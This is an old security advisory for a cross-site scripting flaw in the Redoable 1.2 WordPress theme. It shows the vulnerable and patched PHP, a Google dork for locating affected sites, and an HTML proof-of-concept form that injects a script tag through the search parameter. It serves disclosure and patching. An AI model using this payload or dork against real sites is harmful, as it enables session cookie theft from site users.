source: http://www.securityfocus.com/bid/24037/info Redoable is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Redoable 1.2 is vulnerable; other versions may also be affected. <!-- Redoable 1.2 - Cross-Site Scripting Vulnerability --------------- Vulnerable Code --------------- header.php (line 6): ... elseif (is_search()) { ?> Search for <?php echo $s } ... searchloop.php (line 24): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), $s); } ------------ Patched Code ------------ header.php (line 6 FIXED): ... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ... searchloop.php (line 24 FIXED): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), strip_tags($s)); } Vulnerable Variable: s Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php Vulnerable: Redoable 1.2 (other versions should also be vulnerable) Google d0rk: "and Redoable 1.2" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 17th, 2007 !--> <html> <head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a> </font><br><br><br> <center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br> <form action="http://www.example.com/index.php" method="get"> <input size=75 name="s" value="</title><script>alert(1)</script>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html>
